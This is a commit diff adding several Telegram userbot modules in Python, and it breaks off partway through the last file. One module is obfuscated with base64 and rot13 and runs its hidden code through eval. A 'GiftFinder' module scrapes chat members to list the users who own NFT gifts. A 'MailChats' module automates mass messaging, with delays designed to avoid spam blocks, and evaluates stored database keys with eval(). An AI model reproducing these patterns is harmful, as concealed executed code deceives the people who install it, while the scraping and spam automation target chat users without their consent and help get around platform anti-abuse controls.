Added and updated repositories 2025-11-22 08:13:29

This commit is contained in:
github-actions[bot]
2025-11-22 08:13:29 +00:00
parent f6c356cbe2
commit 36fdafa7d7
14 changed files with 3641 additions and 135 deletions

View File

@@ -0,0 +1,11 @@
# Python code obfuscated by www.development-tools.net
import base64, codecs
magic = 'aW1wb3J0IGFzeW5jaW8NCmltcG9ydCBsb2dnaW5nDQpmcm9tIC4uIGltcG9ydCBsb2FkZXIsIHV0aWxzDQoNCmxvZ2dlciA9IGxvZ2dpbmcuZ2V0TG9nZ2VyKF9fbmFtZV9fKQ0KDQpAbG9hZGVyLnRkcw0KY2xhc3MgVmlkZW9EaXN0b3J0aW9ydE1vZChsb2FkZXIuTW9kdWxlKToNCgkiIiLQltC80YvRhSDQtNC70Y8g0LLQuNC00LXQviIiIg0KCXN0cmluZ3MgPSB7Im5hbWUiOiAiVmlkZW9EaXN0b3J0aW9uIn0NCg0KCUBsb2FkZXIudW5yZXN0cmljdGVkDQoJYXN5bmMgZGVmIHZkaXN0b3J0Y21kKHNlbGYsIG1lc3NhZ2UpOg0KCQkiIiIudmRpc3RvcnQgPHJlcGx5IHRvIHZpZGVvPiIiIg0KCQlhd2FpdCBtZXNzYWdlLmVkaXQoIjxiPtCX0LDQs9GA0YPQttCw0Y4g0LLQuNC00LXQvi4uLjwvYj4iKQ0KCQlhd2FpdCBhc3luY2lvLnNsZWVwKDUpDQoJCWF3YWl0IG1lc3NhZ2UuZWRpdCgiPGI+0JTQvtGB0YLQsNGOINC60LDQtNGA0YsuLi48L2'
love = 'V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPH0YKDh9Pj0L4t0YoDiATY0LHhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPu0Y7DfqP40LQDfATBVAP60YQDgATN0LfhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPr0LYDi9TN0YQDfgP70L/EwvQDfgP40YGDgqP+Yv4hCP9vCvVcQDbWPJS3LJy0VTSmrJ5wnJ8hp2kyMKNbAFxAPtxWLKqunKDtoJImp2SaMF5woTyyoaDhp2IhMS9znJkyXT1yp3AuM2HhL2uuqPjtVzu0qUN6Yl94rJI0LF5goP9zY05yqzIlE29hozSUnKMyJJ91IKNhoKN0VvjtL2SjqTyiow0vCTV+GzI2MKVtE29hozRtE2y2MFOMo3HtIKNuCP9vCvVcQDbWPJS3LJy0VT1yp3AuM2HhMJEcqPtvJJ91VUquplOlnJAepz9foTIxVFVcQDbWPD0XVvVv'
god = 'DQppbXBvcnQgYXN5bmNpbw0KaW1wb3J0IGxvZ2dpbmcNCmZyb20gLi4gaW1wb3J0IGxvYWRlciwgdXRpbHMNCg0KbG9nZ2VyID0gbG9nZ2luZy5nZXRMb2dnZXIoX19uYW1lX18pDQoNCkBsb2FkZXIudGRzDQpjbGFzcyBWaWRlb0Rpc3RvcnRpb3J0TW9kKGxvYWRlci5Nb2R1bGUpOg0KCSLQltC80YvRhSDQtNC70Y8g0LLQuNC00LXQviINCglzdHJpbmdzID0geyJuYW1lIjogIlZpZGVvRGlzdG9ydGlvbiJ9DQoNCglAbG9hZGVyLnVucmVzdHJpY3RlZA0KCWFzeW5jIGRlZiB2ZGlzdG9ydGNtZChzZWxmLCBtZXNzYWdlKToNCgkJIi52ZGlzdG9ydCA8cmVwbHkgdG8gdmlkZW8+Ig0KCQlhd2FpdCBtZXNzYWdlLmVkaXQoIjxiPtCX0LDQs9GA0YPQttCw0Y4g0LLQuNC00LXQvi4uLjwvYj4iKQ0KCQlhd2FpdCBhc3luY2lvLnNsZWVwKDUpDQoJCWF3YWl0IG1lc3NhZ2UuZWRpdCgiPGI+0JTQvtGB0YLQsNGOINC60LDQtNGA0YsuLi48L2I+IikNCg'
destiny = 'xWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPH0YKDh9Pj0L4t0YoDiATY0LHhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPu0Y7DfqP40LQDfATBVAP60YQDgATN0LfhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPr0LYDi9TN0YQDfgP70L/EwvQDfgP40YGDgqP+Yv4hCP9vCvVcQDbWPJS3LJy0VTSmrJ5wnJ8hp2kyMKNbAFxAPtxWLKqunKDtoJImp2SaMF5woTyyoaDhp2IhMS9znJkyXT1yp3AuM2HhL2uuqPjtVzu0qUN6Yl94rJI0LF5goP9zY05yqzIlE29hozSUnKMyJJ91IKNhoKN0VvjtL2SjqTyiow0vCTV+GzI2MKVtE29hozRtE2y2MFOMo3HtIKNuCP9vCvVcQDbWPJS3LJy0VT1yp3AuM2HhMJEcqPtvJJ91VUquplOlnJAepz9foTIxVFVcQDbWPD0XVvVvQDbWPD=='
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,134 @@
# This file is part of SenkoGuardianModules
# Copyright (c) 2025 Senko
# This software is released under the MIT License.
# https://opensource.org/licenses/MIT
# meta developer: @SenkoGuardianModules
import asyncio
import random
import re
from .. import loader, utils
from herokutl.tl.functions.payments import GetSavedStarGiftsRequest
from herokutl.tl.functions.channels import GetFullChannelRequest
from herokutl.tl.types import Message, StarGiftUnique, Channel
from herokutl.errors.rpcerrorlist import DocumentInvalidError, FloodWaitError, ChatAdminRequiredError
from telethon.utils import get_display_name
@loader.tds
class GiftFinderMod(loader.Module):
"""Парсер пользователей с NFT-подарками в чате."""
strings = {
"name": "GiftFinder",
"not_a_chat": "🚫 <b>Не удалось найти указанный чат.</b>",
"scanning": "<emoji document_id=5464429933543628237>⏳</emoji> <b>Сканирую участников...</b>",
"scanning_supplement": "<emoji document_id=5464429933543628237>⏳</emoji> <b>Список участников неполон. Дополнительно сканирую сообщения...</b>",
"scanning_messages_only": "<emoji document_id=5464429933543628237>⏳</emoji> <b>Участники скрыты. Сканирую только сообщения...</b>",
"header": "<emoji document_id=5237868881267153432>🔖</emoji> Те у кого есть НФТ подарки:",
"premium_star": "<emoji document_id=5274026806477857971>⭐️</emoji>",
"flood_wait": "\n<emoji document_id=5212102117953384237>😖</emoji> Поймал FloodWait на {} секунд. Увеличиваю задержку и жду...",
"scanning_safe": "⏳ <b>Сканирую участников...</b>",
"scanning_supplement_safe": "⏳ <b>Список участников неполон. Дополнительно сканирую сообщения...</b>",
"scanning_messages_only_safe": "⏳ <b>Участники скрыты. Сканирую только сообщения...</b>",
"flood_wait_safe": "\n😖 Поймал FloodWait на {} секунд. Увеличиваю задержку и жду...",
"no_users_found": "🚫 <b>В этом чате не найдено пользователей с NFT-подарками.</b>",
}
async def _safe_edit(self, msg: Message, text_premium: str, text_safe: str):
try:
await msg.edit(text_premium)
except DocumentInvalidError:
await msg.edit(text_safe)
except Exception:
pass
async def giftscancmd(self, message: Message):
"""
Ищет пользователей с NFT-подарками в чате.
Использование: .giftscan [лимит] или .giftscan [ID чата] [лимит]
"""
args = utils.get_args_raw(message)
chat_arg = None
msgs_limit = 3000
if args:
parts = args.split()
first_arg = parts[0]
if first_arg.lstrip('-').isdigit():
chat_arg = int(first_arg)
if len(parts) > 1 and parts[1].isdigit():
msgs_limit = int(parts[1])
else:
chat_arg = first_arg
if len(parts) > 1 and parts[1].isdigit():
msgs_limit = int(parts[1])
if not chat_arg and args and args.isdigit():
msgs_limit = int(args)
try:
msg = await utils.answer(message, self.strings("scanning"))
except DocumentInvalidError:
msg = await utils.answer(message, self.strings("scanning_safe"))
try:
chat = await self.client.get_entity(chat_arg) if chat_arg is not None else await message.get_chat()
except Exception:
await self._safe_edit(msg, self.strings("not_a_chat"), self.strings("not_a_chat"))
return
user_ids = set()
scan_messages_mode = False
try:
if isinstance(chat, Channel):
full_chat = await self.client(GetFullChannelRequest(channel=chat))
total_participants = full_chat.full_chat.participants_count
else:
total_participants = chat.participants_count
participants = await self.client.get_participants(chat, limit=None)
user_ids.update(user.id for user in participants)
if len(participants) < total_participants:
scan_messages_mode = True
await self._safe_edit(msg, self.strings("scanning_supplement"), self.strings("scanning_supplement_safe"))
except (ChatAdminRequiredError, AttributeError, TypeError, ValueError):
scan_messages_mode = True
await self._safe_edit(msg, self.strings("scanning_messages_only"), self.strings("scanning_messages_only_safe"))
if scan_messages_mode:
async for m in self.client.iter_messages(chat, limit=msgs_limit):
if m.from_id and hasattr(m.from_id, 'user_id'):
user_ids.add(m.from_id.user_id)
found_users = []
base_delay_min, base_delay_max, flood_penalty = 0.5, 1.5, 0.0
for user_id in user_ids:
try:
user = await self.client.get_entity(user_id)
if user.bot or user.is_self: continue
except Exception: continue
await asyncio.sleep(random.uniform(base_delay_min + flood_penalty, base_delay_max + flood_penalty))
while True:
try:
all_gifts = await self.client(GetSavedStarGiftsRequest(peer=user, offset="", limit=100))
if gifts := [g for g in all_gifts.gifts if isinstance(g.gift, StarGiftUnique)]:
raw_name = get_display_name(user)
s_name = re.sub(r'[\u2066-\u2069\u200e\u200f\u202a-\u202e\u3164\u115f\u2800]', '', raw_name).strip()
link_text = f"@{user.username}" if not s_name and user.username else (f"User ID: {user.id}" if not s_name else utils.escape_html(s_name))
link = f'<a href="https://t.me/{user.username}">{link_text}</a>' if user.username else f'<a href="tg://user?id={user.id}">{link_text}</a>'
p_icon = self.strings('premium_star') if getattr(user, 'premium', False) else ""
found_users.append(f"{p_icon} {link} - {len(gifts)}")
break
except FloodWaitError as e:
current_text = (await self.client.get_messages(msg.chat_id, ids=msg.id)).text
premium_text = current_text + self.strings("flood_wait").format(e.seconds)
safe_text = current_text + self.strings("flood_wait_safe").format(e.seconds)
await self._safe_edit(msg, premium_text, safe_text)
flood_penalty += 0.2
await asyncio.sleep(e.seconds)
continue
except Exception: break
if not found_users:
await self._safe_edit(msg, self.strings("no_users_found"), self.strings("no_users_found"))
return
user_list = "\n".join(found_users)
response_text = f"{self.strings('header')}\n<blockquote expandable>{user_list}</blockquote>"
safe_header = "🔖 " + self.strings("header").split("</emoji>")[1]
safe_list = [line.replace(self.strings("premium_star"), "⭐️") for line in found_users]
safe_user_list = '\n'.join(safe_list)
response_text_safe = f"{safe_header}\n<blockquote expandable>{safe_user_list}</blockquote>"
await self._safe_edit(msg, response_text, response_text_safe)
# горе кодер

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2025 Senko
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,705 @@
# This file is part of SenkoGuardianModules
# Copyright (c) 2025 Senko
# This software is released under the MIT License.
# https://opensource.org/licenses/MIT
__version__ = (1, 3, 0)
# meta developer: @SenkoGuardianModules
import asyncio
import logging
import random
import re
import io
from datetime import datetime, timedelta
from typing import Dict, List, Optional, Tuple
from telethon import errors
from telethon.tl import types as tl_types
from telethon.utils import get_display_name, get_peer_id
from .. import loader, utils
logger = logging.getLogger(__name__)
class SpecificWarningFilter(logging.Filter):
def filter(self, record):
if record.name == 'hikkatl.hikkatl.client.users' and \
'PersistentTimestampOutdatedError' in record.getMessage() and \
'GetChannelDifferenceRequest' in record.getMessage():
return False
return True
class ChatTarget:
def __init__(self, raw_input: str, context_message: Optional[tl_types.Message] = None):
self.raw = raw_input
self.context = context_message
self.entity_to_find: any = raw_input
self.topic_id: Optional[int] = None
self._parse()
def _parse(self):
match = re.match(r"https://t\.me/(?:c/)?([\w\d_.-]+)/(\d+)", self.raw)
if match:
chat_identifier = match.group(1)
if "/c/" in self.raw and chat_identifier.isdigit():
self.entity_to_find = int(f"-100{chat_identifier}")
else:
self.entity_to_find = chat_identifier
try:
self.topic_id = int(match.group(2))
except ValueError:
pass
elif self.context:
self.entity_to_find = self.context.chat_id
if getattr(self.context, 'is_topic_message', False):
self.topic_id = getattr(self.context, 'reply_to_top_id', self.context.id)
else:
try:
self.entity_to_find = int(self.raw)
except ValueError:
self.entity_to_find = self.raw
@loader.tds
class MailChats(loader.Module):
"""Модуль для массовой рассылки сообщений по чатам (Поддерживает все типы сообщений)"""
strings = {
"name": "MailChats",
"add_chat": " Добавить текущий чат/тему. Используйте .add_chat или .add_chat <ID/Username/Ссылка> (Можно сразу несколько ссылкок в 1 комманду).",
"remove_chat": "🗑️ Удалить чат/тему по номеру из списка. Используйте .remove_chat <номер>.",
"list_chats": "📜 Показать список чатов/тем для рассылки.",
"add_msg": " Добавить сообщение (ответом).",
"remove_msg": " Удалить сообщение по номеру. Используйте .remove_msg <номер>.",
"clear_msgs": "🗑️ Очистить список сообщений.",
"list_msgs": "📜 Показать список сообщений для рассылки.",
"set_seller": "⚙️ Установить ID чата/пользователя продавца для уведомлений. Используйте .set_seller <ID/Username/Ссылка/'me'>.",
"mail_status": "📊 Показать статус рассылки.",
"start_mail": "🚀 Запустить рассылку. Использование: .start_mail <время_сек> <интервал_цикла_от-до_сек>.",
"stop_mail": "⏹️ Остановить рассылку.",
"error_getting_entity": "⚠️ Не удалось получить информацию о чате/сущности: {}",
"error_sending_message": "⚠️ Ошибка при отправке сообщения ({}) в чат {} ({}): {}",
"notification_sent": "✅ Уведомление отправлено.",
"invalid_arguments": "⚠️ Неверные аргументы.",
"chats_empty": "⚠️ Сначала добавьте чаты.",
"messages_empty": "⚠️ Сначала добавьте сообщения.",
"already_running": "⚠️ Рассылка уже запущена.",
"started_mailing": "✅ Рассылка начата.\n⏳ Общее время: {} сек.\n⏱️ Интервал между циклами: {}-{} сек.\n⏱️ Интервал между чатами: ~{}-{} сек\n⏱️ Интервал между сообщениями в чате: ~{}-{} сек",
"stopped_mailing": "✅ Рассылка остановлена.",
"not_running": "⚠️ Рассылка не активна.",
"chat_added": "✅ Чат/тема '{}' добавлен в список рассылки.",
"chat_already_added": "⚠️ Чат/тема '{}' уже в списке.",
"chat_removed": "✅ #{} '{}' удален из списка рассылки.",
"invalid_chat_selection": "⛔️ Неверный номер чата.",
"chats_cleared": "Все чаты удалены из списка.",
"messages_cleared": "✅ Список сообщений очищен.",
"no_chats": "📃 Список чатов пуст.",
"no_messages": "✍️ Ответьте на сообщение, чтобы добавить его в список. Список сообщений пуст.",
"message_added": "✅ Сообщение добавлено (Snippet: {}).",
"message_removed": "✅ Сообщение №{} удалено (Snippet: {}).",
"invalid_message_number": "✍️ Укажите корректный номер сообщения.",
"seller_set": "✅ Установлен чат продавца.",
"duration_invalid": "✍️ Использование: .start_mail <время_сек> <интервал_цикла_от-до_сек>. Укажите целое число для времени и интервал между циклами (например: 45-70).",
"seller_notification": "Автоматическое уведомление: рассылка завершена",
"mailing_complete": "✅ Рассылка завершена!",
"safe_mode_enabled": "🟢 <b>Безопасный режим ВКЛЮЧЁН</b>\n• Только группы/каналы\n• Макс {} чатов/цикл\n• Интервал между чатами: ~{}-{} сек\n• Интервал между циклами: ~{}-{} сек\n• Интервал между сообщениями в чате: ~{}-{} сек",
"safe_mode_disabled": "🔴 <b>Безопасный режим ВЫКЛЮЧЕН</b>",
"mail_not_running": "⚠️ Рассылка не активна.",
"no_permission": "️️️️️️️️️️️️⚠️ Нет прав на отправку в чат {} ({}), пропускаем.",
"processing_entity": "⏳ Обработка сущности...",
"failed_to_send_message": "⚠️ Не удалось отправить сообщение {} в чат {}. Причина: {}",
"failed_perm_check": "⚠️ Не удалось проверить права в чатe {} ({}) из-за ошибки: {}. Пропускаем.",
"permission_denied_skip": "🚫 Пропуск чата {} (ID: {}, Topic: {}) из-за отсутствия прав на отправку. Причина: {}",
"cfg_safe_mode": "Включить безопасный режим (Отправка только по группам/каналам, больше задержка)",
"cfg_max_chats_safe": "Максимальное кол-во чатов за цикл в безопасном режиме",
"cfg_chats_interval": "Интервал между чатами (сек, от-до). Пример: 2,5",
"cfg_safe_chats_interval": "Интервал между чатами в БЕЗОПАСНОМ режиме (сек, от-до). Пример: 10,20",
"cfg_safe_cycle_interval": "Интервал между циклами в БЕЗОПАСНОМ режиме (сек, от-до). Пример: 180,300",
"cfg_safe_message_interval": "Интервал между сообщениями в 1 чат в БЕЗОПАСНОМ режиме (сек, от-до). Пример: 5,10",
"cfg_message_interval": "Интервал между сообщениями в 1 чат (сек, от-до). Пример: 1,3",
"cfg_delete_replies_delay": "⏱️ Задержка автоудаления для ответов команд (сек, 0 - не удалять)",
"cfg_randomize_messages": "Рандомизировать сообщения (1 случайное сообщение на чат за цикл)",
"add_chat_summary_title": "<b>Результаты добавления чатов:</b>\n\n",
"add_chat_success_header": "<b>✅ Добавлено:</b>\n",
"add_chat_already_exists_header": "<b>⚠️ Уже существуют:</b>\n",
"add_chat_errors_header": "<b>❌ Ошибки:</b>\n",
"no_valid_chats_provided": "⚠️ Не предоставлено валидных идентификаторов чатов или произошли ошибки при их обработке.",
}
PERMISSION_ERRORS = {
"ChatForbiddenError", "UserBannedInChannelError", "ChatWriteForbiddenError",
"ChatAdminRequiredError", "UserBlocked", "TopicClosedError",
"TopicEditedError", "ForumTopicDeletedError",
}
def __init__(self):
try:
logger.setLevel(logging.WARNING)
h_logger = logging.getLogger('hikkatl.hikkatl.client.users')
if not any(isinstance(f, SpecificWarningFilter) for f in h_logger.filters):
h_logger.addFilter(SpecificWarningFilter())
except Exception as e:
logger.error(f"Failed to apply SpecificWarningFilter: {e}")
self.config = loader.ModuleConfig(
loader.ConfigValue("safe_mode", False, self.strings["cfg_safe_mode"], validator=loader.validators.Boolean()),
loader.ConfigValue("max_chats_safe", 10, self.strings["cfg_max_chats_safe"], validator=loader.validators.Integer(minimum=1)),
loader.ConfigValue("chats_interval", "2,5", self.strings["cfg_chats_interval"]),
loader.ConfigValue("safe_chats_interval", "10,20", self.strings["cfg_safe_chats_interval"]),
loader.ConfigValue("safe_cycle_interval", "180,300", self.strings["cfg_safe_cycle_interval"]),
loader.ConfigValue("safe_message_interval", "5,10", self.strings["cfg_safe_message_interval"]),
loader.ConfigValue("message_interval", "1,3", self.strings["cfg_message_interval"]),
loader.ConfigValue("delete_replies_delay", 5, self.strings["cfg_delete_replies_delay"], validator=loader.validators.Integer(minimum=0)),
loader.ConfigValue("randomize_messages", False, self.strings["cfg_randomize_messages"], validator=loader.validators.Boolean()),
)
self.chats: Dict[Tuple[int, Optional[int]], str] = {}
self.messages: List[Dict] = []
self.mail_task: Optional[asyncio.Task] = None
self.seller_chat_id: Optional[int] = None
self.total_messages_sent = 0
self.start_time: Optional[datetime] = None
self.end_time: Optional[datetime] = None
self.is_running = False
self.lock = asyncio.Lock()
self._current_cycle_start_time: Optional[datetime] = None
self._processed_chats_in_cycle = 0
async def client_ready(self, client, db):
self.client = client
self.db = db
await self._load_data()
def _get_db_chats(self):
return {str(k): v for k, v in self.chats.items()}
def _save_db_chats(self):
self.db.set(self.strings["name"], "chats", self._get_db_chats())
async def _load_data(self):
stored_chats = self.db.get(self.strings["name"], "chats", {})
migrated_chats = {}
needs_resave = False
if isinstance(stored_chats, dict):
for key, name in stored_chats.items():
try:
chat_tuple = eval(key)
if isinstance(chat_tuple, tuple) and len(chat_tuple) == 2:
migrated_chats[chat_tuple] = name
else:
migrated_chats[(int(key), None)] = name
needs_resave = True
except Exception:
try:
migrated_chats[(int(key), None)] = name
needs_resave = True
except Exception:
logger.warning(f"Could not migrate chat key '{key}'")
elif isinstance(stored_chats, list):
for chat_id in stored_chats:
migrated_chats[(int(chat_id), None)] = f"Chat {chat_id}"
needs_resave = True
self.chats = migrated_chats
if needs_resave:
self._save_db_chats()
self.messages = self.db.get(self.strings["name"], "messages", [])
self.seller_chat_id = self.db.get(self.strings["name"], "seller_chat_id")
async def _edit_or_reply_and_handle_deletion(self, message_event, text: str, delay: Optional[int] = None):
if delay is None:
delay = self.config["delete_replies_delay"]
processed_message = None
can_edit = message_event and hasattr(message_event, "edit") and callable(message_event.edit)
try:
if can_edit:
try:
if getattr(message_event, "deleted", False):
can_edit = False
else:
processed_message = await message_event.edit(text, parse_mode='html')
except errors.MessageNotModifiedError:
processed_message = message_event
except errors.MessageIdInvalidError:
can_edit = False
except errors.RPCError as e:
can_edit = False
logger.warning(f"RPC ошибка при попытке ({type(e).__name__}) редактировать {getattr(message_event, 'id', 'N/A')}: {e}. Попытка отправить новое.")
if not processed_message or not can_edit:
chat_to_reply = None
if message_event and hasattr(message_event, "chat_id") and message_event.chat_id is not None: chat_to_reply = message_event.chat_id
elif message_event and hasattr(message_event, "chat") and message_event.chat is not None: chat_to_reply = utils.get_peer_id(message_event.chat)
if chat_to_reply:
processed_message = await self.client.send_message(chat_to_reply, text, parse_mode='html')
else:
return None
except Exception as e_edit_reply_outer:
logger.error(f"Критическая ошибка на этапе редактирования/отправки сообщения: {e_edit_reply_outer}")
return None
if not processed_message:
return None
if delay > 0:
self.client.loop.create_task(self._delete_message_after_delay(processed_message, delay))
return processed_message
async def _delete_message_after_delay(self, message, delay):
await asyncio.sleep(delay)
try:
if hasattr(message, 'delete') and not getattr(message, 'deleted', False):
await message.delete()
except errors.MessageDeleteForbiddenError:
logger.warning(f"Нет прав на удаление сообщения {message.id}.")
except Exception as e_del:
logger.warning(f"Произошла ошибка при удалении сообщения {message.id}: {e_del}")
async def _find_chat(self, target: ChatTarget) -> Optional[dict]:
try:
entity = await self.client.get_entity(target.entity_to_find)
chat_id = get_peer_id(entity)
topic_id = target.topic_id if getattr(entity, 'forum', False) else None
display_name = utils.escape_html(get_display_name(entity))
if topic_id:
try:
topic_msg = await self.client.get_messages(entity, ids=topic_id)
if topic_msg and isinstance(getattr(topic_msg, "action", None), tl_types.MessageActionTopicCreate):
display_name += f" | Тема: '{utils.escape_html(topic_msg.action.title)}'"
else:
display_name += f" | Тема ID: {topic_id}"
except Exception:
display_name += f" | Тема ID: {topic_id}"
return {"key": (chat_id, topic_id), "name": display_name}
except Exception as e:
logger.error(f"Не удалось найти чат '{target.raw}': {e}")
return None
@loader.command()
async def mail_help(self, message):
"""📋 Показать пошаговую инструкцию по настройке рассылки."""
help_text = """
<blockquote expandable>
<b>📋 Инструкция по настройке рассылки:</b>
<b>Шаг 1: Добавьте чаты для рассылки</b>
• <b>Вручную:</b> Перейдите в нужный чат и напишите <code>.add_chat</code>.
• <b>По ссылке/ID:</b> <code>.add_chat @username https://t.me/channel/123</code>
<b>✨ Бэкап и восстановление списка:</b>
• <code>.dump_chats</code> — <b>Бэкап.</b> Модуль выгрузит в файл только те чаты, что уже есть в списке рассылки.
• <code>.load_chats</code> — <b>Загрузка.</b> Ответьте этой командой на полученный файл, чтобы добавить чаты в рассылку.
<b>Шаг 2: Добавьте сообщения</b>
• Ответьте на любое сообщение (текст, фото, видео) командой <code>.add_msg</code>.
• Можно добавить несколько сообщений для рассылки.
<b>Шаг 3: Проверьте списки</b>
• <code>.list_chats</code> — посмотреть список чатов. Если их больше 50, отправит файлом.
• <code>.list_msgs</code> — посмотреть список сообщений.
<b>Шаг 4: Тонкая настройка (по желанию)</b>
Откройте конфиг командой <code>.cfg MailChats</code>. Вот что значат основные параметры:
<b>-- Режимы работы --</b>
• <code>safe_mode</code>: <b>Безопасный режим.</b> Если включить, рассылка будет идти медленнее и только в группы/каналы, чтобы снизить риск спам-блока.
• <code>randomize_messages</code>: <b>Случайные сообщения.</b> Если включить, в каждый чат будет отправляться только ОДНО случайное сообщение из вашего списка. Если выключить — отправляются ВСЕ по порядку.
<b>-- Настройка пауз (формат: <code>min,max</code> секунд) --</b>
• <code>chats_interval</code>: Пауза между отправкой в <b>разные чаты</b> (обычный режим). Пример: <code>2,5</code>.
• <code>message_interval</code>: Пауза между отправкой <b>нескольких сообщений</b> в ОДИН чат (обычный режим).
• <code>safe_chats_interval</code>: Пауза между чатами в <b>безопасном режиме</b> (больше для безопасности).
• <code>safe_message_interval</code>: Пауза между сообщениями в <b>безопасном режиме</b>.
• <code>safe_cycle_interval</code>: Пауза между <b>кругами рассылки</b> в безопасном режиме (например <code>180,300</code> = 3-5 минут).
<b>-- Прочее --</b>
• <code>delete_replies_delay</code>: Через сколько секунд удалять ответы модуля (например, "✅ Чат добавлен"). Поставьте <code>0</code>, чтобы не удалять.
• <code>max_chats_safe</code>: Сколько максимум чатов обрабатывать за один круг в <b>безопасном режиме</b>.
<b>Шаг 5: Запустите рассылку</b>
• Используйте команду <code>.start_mail &lt;время&gt; &lt;пауза&gt;</code>
• <b>Пример:</b> <code>.start_mail 3600 180-300</code>
<i>(Это запустит рассылку на 1 час (3600 сек) с паузой между кругами от 3 до 5 минут).</i>
<b>Другие команды:</b>
• <code>.stop_mail</code> — остановить рассылку.
• <code>.mail_status</code> — проверить, сколько времени осталось.
• <code>.remove_chat &lt;номер&gt;</code> — удалить чат из списка.
• <code>.remove_msg &lt;номер&gt;</code> — удалить сообщение.
• <code>.clear_chats</code> / <code>.clear_msgs</code> - полная очистка списков.
</blockquote>
"""
await self._edit_or_reply_and_handle_deletion(message, help_text, delay=240)
@loader.command()
async def add_chat(self, message):
""" Добавить чат. Можно несколько: .add_chat @user1 ссылка ..."""
args = utils.get_args_raw(message)
targets_to_find = []
if args:
targets_to_find = [ChatTarget(raw) for raw in args.split()]
elif message.chat:
targets_to_find = [ChatTarget(str(message.chat_id), context_message=message)]
else:
await self._edit_or_reply_and_handle_deletion(message, self.strings["invalid_arguments"]); return
status_msg = await self._edit_or_reply_and_handle_deletion(
message,
self.strings["processing_entity"],
delay=0
)
tasks = [self._find_chat(target) for target in targets_to_find]
results = await asyncio.gather(*tasks)
added, exists, errors_list = [], [], []
async with self.lock:
for i, res in enumerate(results):
if res:
if res["key"] in self.chats:
exists.append(f"{res['name']}")
else:
self.chats[res["key"]] = res["name"]
added.append(f"{res['name']}")
else:
errors_list.append(f"{utils.escape_html(targets_to_find[i].raw)}")
if added:
self._save_db_chats()
if len(targets_to_find) > 50:
summary = self.strings["add_chat_summary_title"]
if added: summary += f"<b>✅ Добавлено:</b> {len(added)}\n"
if exists: summary += f"<b>⚠️ Уже существуют:</b> {len(exists)}\n"
if errors_list: summary += f"<b>❌ Ошибки:</b> {len(errors_list)}\n"
final_summary = summary.strip()
else:
summary = ""
if added: summary += self.strings["add_chat_success_header"] + "\n".join(added) + "\n\n"
if exists: summary += self.strings["add_chat_already_exists_header"] + "\n".join(exists) + "\n\n"
if errors_list: summary += self.strings["add_chat_errors_header"] + "\n".join(errors_list)
if not summary.strip():
final_summary = self.strings["no_valid_chats_provided"]
else:
final_summary = self.strings["add_chat_summary_title"] + summary.strip()
await self._edit_or_reply_and_handle_deletion(status_msg, final_summary)
@loader.command()
async def remove_chat(self, message):
"""🗑️ Удалить чат по номеру."""
args = utils.get_args_raw(message)
if not args or not args.isdigit():
await self._edit_or_reply_and_handle_deletion(message, self.strings["invalid_chat_selection"]); return
idx_to_remove = int(args) - 1
async with self.lock:
sorted_keys = sorted(self.chats.keys(), key=lambda k: (self.chats[k], k[0], k[1] or -1))
if 0 <= idx_to_remove < len(sorted_keys):
key_to_remove = sorted_keys[idx_to_remove]
removed_name = self.chats.pop(key_to_remove)
self._save_db_chats()
await self._edit_or_reply_and_handle_deletion(message, self.strings["chat_removed"].format(idx_to_remove + 1, removed_name))
else:
await self._edit_or_reply_and_handle_deletion(message, self.strings["invalid_chat_selection"])
@loader.command()
async def clear_chats(self, message):
"""🗑️ Очистить список чатов."""
async with self.lock:
self.chats.clear()
self.db.set(self.strings["name"], "chats", {})
await self._edit_or_reply_and_handle_deletion(message, self.strings["chats_cleared"])
@loader.command()
async def list_chats(self, message):
"""📜 Показать список чатов."""
async with self.lock:
current_chats_copy = dict(self.chats)
if not current_chats_copy:
await self._edit_or_reply_and_handle_deletion(message, self.strings["no_chats"])
return
output_header = "Список чатов для рассылки:\n\n"
sorted_items = sorted(current_chats_copy.items(), key=lambda item: (item[1], item[0][0], item[0][1] or -1))
if len(sorted_items) > 50:
file_content = output_header
for i, ((cid, tid), name) in enumerate(sorted_items):
topic_str = f' | Тема: {tid}' if tid is not None else ''
file_content += f"{i+1}. {name} ({cid}{topic_str})\n"
file = io.BytesIO(file_content.encode("utf-8"))
